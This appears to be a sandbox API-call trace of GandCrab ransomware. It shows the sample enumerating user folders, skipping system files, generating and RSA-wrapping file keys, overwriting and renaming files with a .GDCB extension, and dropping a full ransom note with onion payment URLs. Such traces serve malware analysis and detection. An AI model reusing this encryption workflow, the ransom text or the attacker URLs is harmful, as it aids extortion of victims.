[0054.154] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.154] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.154] lstrcmpW (lpString1="Preferences.dat", lpString2=".") returned 1 [0054.154] lstrcmpW (lpString1="Preferences.dat", lpString2="..") returned 1 [0054.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" [0054.154] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76 [0054.154] lstrcmpW (lpString1=".dat", lpString2=".sql") returned -1 [0054.154] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.154] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.154] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.154] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt") returned 78 [0054.154] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.155] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.155] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.155] CloseHandle (hObject=0x4fc) returned 1 [0054.155] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned 61 [0054.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*" [0054.156] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8b70 [0054.156] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.156] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.156] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.156] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.156] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.156] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.156] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt" [0054.156] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.156] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0054.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0054.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0054.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\GDCB-DECRYPT.txt") returned 77 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.156] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.156] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.157] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.157] lstrcmpW (lpString1="Preferences.dat", lpString2=".") returned 1 [0054.157] lstrcmpW (lpString1="Preferences.dat", lpString2="..") returned 1 [0054.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="Preferences.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" [0054.157] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.157] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76 [0054.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76 [0054.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76 [0054.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned 76 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="desktop.ini") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="autorun.inf") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="ntuser.dat") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="iconcache.db") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="bootsect.bak") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="boot.ini") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="ntuser.dat.log") returned 1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="thumbs.db") returned -1 [0054.157] lstrcmpiW (lpString1="Preferences.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat")) returned 0x20 [0054.157] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat", dwFileAttributes=0x20) returned 1 [0054.157] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.157] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" [0054.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB" [0054.158] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5902c0) returned 1 [0054.158] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.158] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.158] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0054.158] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0054.158] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.158] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x58fc60) returned 1 [0054.159] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.159] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.159] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0054.159] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.159] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.160] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5901b0) returned 1 [0054.161] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5b8b30) returned 1 [0054.161] CryptGetKeyParam (in: hKey=0x5b8b30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0054.161] CryptEncrypt (in: hKey=0x5b8b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0054.162] GetLastError () returned 0x0 [0054.162] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0054.162] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x58ff08) returned 1 [0054.165] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x5b8930) returned 1 [0054.165] CryptGetKeyParam (in: hKey=0x5b8930, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0054.165] CryptEncrypt (in: hKey=0x5b8930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0054.165] GetLastError () returned 0x0 [0054.165] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.166] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.166] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.166] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.166] ReadFile (in: hFile=0x500, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285eab0*=0x1440, lpOverlapped=0x0) returned 1 [0054.171] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.171] VirtualAlloc (lpAddress=0x0, dwSize=0x1440, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0054.172] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.172] SetFilePointer (in: hFile=0x500, lDistanceToMove=-5184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.172] WriteFile (in: hFile=0x500, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285eaa8*=0x1440, lpOverlapped=0x0) returned 1 [0054.172] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.172] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.175] WriteFile (in: hFile=0x500, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0054.175] WriteFile (in: hFile=0x500, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285eaa8*=0x100, lpOverlapped=0x0) returned 1 [0054.175] WriteFile (in: hFile=0x500, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285eaa8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285eaa8*=0x10, lpOverlapped=0x0) returned 1 [0054.175] CloseHandle (hObject=0x500) returned 1 [0054.176] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.176] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.176] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.176] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\Preferences.dat.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\preferences.dat.gdcb")) returned 1 [0054.177] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.177] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.178] FindNextFileW (in: hFindFile=0x5b8b70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.178] FindClose (in: hFindFile=0x5b8b70 | out: hFindFile=0x5b8b70) returned 1 [0054.231] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.231] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.231] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.231] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt" [0054.231] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.231] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0054.231] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0054.231] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0054.231] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\GDCB-DECRYPT.txt") returned 72 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.231] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.232] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.232] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.232] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0054.232] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.232] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0054.232] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0054.232] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0054.232] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0054.232] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.232] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.232] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.232] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned 56 [0054.233] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0054.233] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8c30 [0054.233] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.233] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.233] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.233] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.233] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.233] lstrcmpW (lpString1="Outlook.srs", lpString2=".") returned 1 [0054.234] lstrcmpW (lpString1="Outlook.srs", lpString2="..") returned 1 [0054.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0054.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 67 [0054.234] lstrcmpW (lpString1=".srs", lpString2=".sql") returned 1 [0054.234] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.234] lstrcmpW (lpString1="Outlook.xml", lpString2=".") returned 1 [0054.234] lstrcmpW (lpString1="Outlook.xml", lpString2="..") returned 1 [0054.234] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0054.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 67 [0054.234] lstrcmpW (lpString1=".xml", lpString2=".sql") returned 1 [0054.234] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.234] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.234] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.234] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt") returned 73 [0054.234] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\outlook\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.235] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. 